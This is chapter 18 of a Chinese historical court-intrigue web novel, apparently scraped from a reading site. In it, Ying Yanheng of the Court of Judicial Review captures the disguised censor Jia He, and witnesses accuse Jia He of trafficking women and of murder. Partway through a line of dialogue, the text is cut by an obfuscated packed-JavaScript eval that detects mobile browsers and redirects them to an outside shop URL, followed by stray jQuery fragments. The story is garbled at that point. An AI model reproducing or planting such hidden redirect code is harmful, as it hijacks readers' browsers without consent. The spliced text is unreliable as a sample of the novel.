默认冷灰
24号文字
方正启体

18. 贾和伏法

作者:甜心睡不醒本书字数:K更新时间:
    大理寺少卿应雁蘅慢步走来,他面容俊美气质出尘,却因眼下青黑显得有些疲累阴郁。他鼻间溢出一声轻哼,眼神犀利地扫过朝乐公主,而后微勾唇角,似笑非笑地朝两位公主行礼。


    “大理寺少卿应雁蘅见过华晏公主,朝乐公主。”


    对公主行完礼后,他向同在朝为官的李怀霄点头示意,算是打招呼了。


    朝乐公主自幼被宠惯了,从未有人敢对她如此倨傲,她见应雁蘅不回答自己的问题,心中更生不满。


    “你在本公主面前亮刀是何目的,难道说少卿今日是来抓人的?”


    应雁蘅微挑眼皮,眼神缓缓移到朝乐公主身上,他满脸尽是不耐烦,言语间也透着冷意:“公主既知,便不要阻拦本官办案。”


    朝乐公主嗤笑一声,话里带着十足玩味:“你手下之人方才已然直入院落调查,何来拦你办案一说,再者你如此狂妄,本公主敢阻拦吗?”


    “本官狂妄?哼,随公主怎么想。”


    应雁蘅是难得一遇的青年才俊,他铁面无私断案如神,父亲又官居要职,故而年纪轻轻便坐到大理寺少卿之位,自然满身傲气。


    他显然不愿纠缠,话毕便转头望向远处不再言语。不多时,他手下捕手面带惊恐地急速从院中奔出:“少卿,院中无人!”


    应雁蘅浓眉一凛,越过众人径直朝院落走去,屋内脚步杂乱一片狼藉,偶有冷风吹来,他顺着风吹来的方向望去,只见后屋窗户还开着。


    他料想贼人定是翻窗离去,刚想去追却发现屋后雪地上并无半分脚印,应是故意开窗营造离开假象。


    大理寺众人守着院落多时,犯人不可能在毫不惊动他们的情况下离开,若也未翻窗逃走,那应还留在院落中,只是躲在某处并未发现,看来此地八成有暗室或暗道。


    应雁蘅仔细观察房屋,他屈起剑柄顺着墙面往前敲击,终于寻到一处空荡之所,他心下了然,直接抬腿踹向墙壁,霎时墙面粉碎,粉尘扑簌落下。


    只是先映入眼帘的并非犯人,而是位惊绝女子,她双目含泪但面色坚定不屈,并无柔弱之感。


    应雁蘅低眸看清她脖间架着把匕首,寒风袭来倏地将粉尘卷飞,她身后那人彻底暴露出来,只是面上蒙着黑布看不清面容。


    蒙面男子左手持刃割在被挟持女子脖间,她衣衫稍许凌乱,不必细想便知方才发生何事,只听那男子压低声音恶狠狠道:“让开,否则我杀了她!”


    应雁蘅眼皮微颤,一时并未回话,蒙面男子以为成功呵住他,便欲挟持女子从暗室出来。


    谁知应雁蘅不仅不让,反而向前步步紧逼,那男子顿时慌了,拿着利刃往女子脖间割,利刃擦破脖颈溢出淋漓鲜血,那女子倒还算镇静,竟一声未吭。


    “还不滚开?”


    应雁蘅两指夹着长剑缓缓提起,男子以为他不顾人质性命,想要击杀自己,谁知应雁蘅转瞬便举起双手摆出投降状。


    蒙面男子见他如此便更为嚣张:“退后!”


    “好。”


    应雁蘅听他的话步步后退,男子见状才松了口气,他挟持女子缓缓走出暗室。


    只是应雁蘅虽做出投降手势,可手中依旧拿着剑,他在男子松神时提剑刺去,他身手极好身法也快,剑直直往男子手腕割去。


    他力道十足,竟将男子手腕上的筋脉尽数割断,鲜血顺着手腕往下滴,男子意识到这点后手腕早已低垂,便是连利刃都握不住,他满脸惊恐扶着半掉不掉的手腕。


    应雁蘅一手拉过女子,将她推到安全地带,自己则飞身一脚踹向男子,男子被踹到墙上后吐血倒地不起。


    众捕手上前将人降伏,只是揭开他蒙面黑布时都面带惊讶:“御……御史大夫?”


    蒙面男子正是御史大夫贾和,他大抵自觉难堪,纵使手腕筋脉俱断疼得难忍,依旧偏过头不想让人瞧见。


    应雁蘅眸光幽深,冷哼一声讽刺道:“既做得出,就别怕被人瞧见。”


    话毕他摆手示意手下将人带走,又找了件衣服给那女子披上。


    捕手押着贾和离开院落,尽管他一直低垂头颅,还是被认了出来,屋外众人瞧见是他都略感惊讶,又见他被押着一时之间议论纷纷。


    唐熙宁瞧见后故意拉着朝乐公主手臂,佯装疑惑大声道:“呀,怎会是御史大夫贾和?贾大人怎会受这么重的伤?”


    只见贾和手腕上全是血珠,他疼得额头遍布汗水,却紧咬后槽牙不愿露怯,因太过用力,整个人显得有些哆嗦。


    应雁蘅走出院落后将长剑扔给手下,匆忙行礼转身欲走:“本官已捉到罪犯,便不扰两位公主雅兴,告辞。”


    唐熙宁此次目的是要在众人面前揭露贾和,借机让众人将贾和丑闻传播出去,此刻断不会轻易让应雁蘅将人带走,她朝贾和身后那位衣衫凌乱的女子眼神示意。


    那女子接收到提示,立刻越过众人奔到她面前,只是所求之人却是她身侧的朝乐公主,那女子重重磕头声泪俱下:“望公主替民女做主!”


    朝乐骤然见人跪求做主,一时还有些懵,未及时做出反应。


    唐熙宁在侧提醒,她故意抬高朝乐:“朝乐姐姐,你素来心慈好善,又仁民爱物,此女应是知晓你的品行,故而求你做主,不妨听听?”


    话音刚落应雁蘅便立即阻止,他言语间带着提醒之意:“此乃大理寺之责,不敢劳烦公主,也不敢扰公主雅兴,本官即刻带人回大理寺审问。”


    朝乐公主原本便计较应雁蘅对她的挤兑,此刻又被出言拒绝,自然心中不悦:“不敢扰我们雅兴?可你已经扰了,再者,本公主为民做主,碍着少卿的眼了?”


    应雁蘅再怎么狂傲,对上当朝公主还是要给面子,他无奈扶额做出让步:“罢了,那女子,你便将遭遇一一说来。”


    女子擦去眼泪,面带冰冷恨意指着贾和控诉:“小女名叫江婛词,是前任御史大夫江屈平之女,当年我父无故暴毙,实则是这奸人谋害,只为取代我父成功上位。”


    “当年我状告无门反被追杀,一路奔逃所幸留得一命。我本欲前往京城谋生,路过雁鸣滩见风景甚好便停下稍稍歇脚,谁知竟遇上这贼人,他意图不轨,所幸公主銮驾驾到,他才未得逞,又得少卿相救,否则小女便……”


    她泪珠欲落,字字钻心,闻者皆心生怒意。


    朝乐听闻不禁大怒,她脸色铁青,眉眼间俱是愤意:“朝廷命官竟做出此等卑劣之事,真让人不齿!”


    贾和闻言忙跪倒在地,他本欲跪着向公主走去,可被大理寺之人押着动弹不得,只能大叫申冤:“臣冤枉,臣有话要说!”


    贾和双眼充满刺骨戾气,面目狰狞好似阎罗降世,浑身散发着狂颠之感。


    他反倒指着江婛词:“你这女子好生让人气恼,分明是本官路过雁鸣滩,你主动跑来示好说你身无盘缠,可否让本官借你。而后拉着本官到那猎户居所,本官瞧你心术不正不欲给你,你便起歹心陷害我,还有……你说我害你父亲,你可有证据!”


    这话倒是给了应雁蘅机会,他本就不想在此处询问,眼下倒可趁机将人押回大理寺。他刚要打断欲图分辨的江婛词,却被李怀霄瞧出意图。


    李怀霄抢先高声道:“贾和你好放肆,竟敢将人混入公主出行队伍中带出城,来人呐,将人带出来。”


    闻言守卫押着一群乌合之众和十几个战战兢兢的女子走出:“禀告公主,这些人都是跟在队伍中混出城的,女子们是被他们绑去卖往南都的。”


    贾和立即大声呼冤:“是那群人贩卖女子,与我何关,你们有证据证明我与他们勾结吗?”


    此话一出,截获众人纷纷下跪求饶:“小的们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038032|194665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知错,都是小的们觉得拐卖女子利润巨大才起歹心,与他毫无关系。”


    唐熙宁眉心微挑,她装作不解轻声开口:“贾大人,并无人说你与拐卖女子之人相关啊?你又为何澄清呢?”


    贾和猛然意识到自己心急犯错,他张了张口还要辩驳,此时人群中走出一位风情万种的女子,她跪地道:“见过华晏公主、朝乐公主、侍郎、少卿,民女名叫春十娘,是清音阁老板,民女知晓他参与拐卖女子一案。”


    应雁蘅眼见证人指证,即便不想在此审问,也不得不问,他轻揉眉心道:“细说。”


    “回禀大人,前些日子民女得知他们要卖一批女子到南都,便暗中跟着,结果当真发现他们所做之事。”


    春十娘说完便指向被拐卖之人:“这十三位女子皆是被绑到留春坊的,也都见过这位贾大人。她们皆是见证,贾大人正是拐卖女子之案的主谋。”


    不少女子纷纷指认贾和:“是啊,他每次到留春坊都做了伪装,可他那般狠毒,我们都认得他,他还将要救我们离开的伙计砍头抛尸,我们都是见证。”


    众人指认完,春十娘才从衣襟内取出一张沾血的皱巴手帕,以及一块令牌:“贾和所犯之事不仅这些,我要说的是十年前旧事,当年我与小妹来京城谋生,却差点流落街头。”


    “一日偶然在街上撞到这位大人,他看上我小妹,当晚便强行将她拉走,小妹宁死不从,被他害死抛尸江中,民女手中是小妹血书以及从贾府偷出的沾血令牌。”


    春十娘说话时肩膀不住颤抖,字字句句都是从牙缝中挤出来,可见她对贾和恨意滔天,她将证据摆在地上俯首叩头:“望大人为我小妹做主!”


    此行人数不少,闻言皆议论不休。贾和见大势已去不再狡辩,他像条狗一样趴在地上喘气,手腕的血还在滴滴答答落下,只是他这点血远没有这些年害过的人流的血多。


    桩桩件件皆是血泪,贾和这么多年犯了不少事,朝廷竟养这只硕鼠多年,朝乐公主指着贾和愤懑道:“本公主要去父皇面前告你的状,你这种阴狠毒辣者该处以极刑!”


    朝乐为人高傲跋扈,却分得清大是大非,她此话正合唐熙宁心意,闹得越大越好,这样不管贾和是左相派还是保皇派,也无人能保。


    唐熙宁瞥了眼贾和,顺势为接下来要做之事造声势:“御史大夫监察百官,品行却如此低劣,你这种人配有监察百官的资格吗?”


    李怀霄立马会意附和道:“这种人确实不配监察百官,怕是从前也惯会弄虚作假。”


    二人此言就是为了让贾和名声更差,最好能让他从前监察百官的可信度降低,若可借机重启他先前监察案件,兴许能调查她父亲之案。


    一时众说纷纭,贾和向来被人奉承,此刻却被指着脊梁骨骂,他低垂头颅不愿直视众人。


    应雁蘅见闹剧不停忙高声道:“官员经商、人口拐卖、强污未成、杀人毁尸、谋害朝廷官员……或许还有我们不知的罪名,贾大人跟本官去大理寺慢慢聊吧。”


    如此一闹,朝乐公主没了玩乐心思,便随之回京,行了片刻便听到一阵由远及近的马蹄声,紧接着是侍卫抽刀声。


    “保护公主!”


    唐熙宁听闻此言,原以为有人刺杀,毕竟她被刺杀之数实在太多,只是眼下为何刺杀她?


    她心感不对,掀开轿帘探头往外看,只是掀开帘子入眼的却是李怀霄的高挺背影,他手持长剑护在车马外,听到掀帘声微微侧头,压低声音道:“公主莫怕,有微臣在。”


    因着李怀霄猛然侧头,唐熙宁差点撞到他头上玉冠,这么近的距离让她心中一跳,她越过李怀霄打量行刺之人,大部分人虽是刺杀公主,但仍有小部分人分散开来。


    她仔细观察却发现——


    “不对,他们真正想要行刺之人是贾和!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)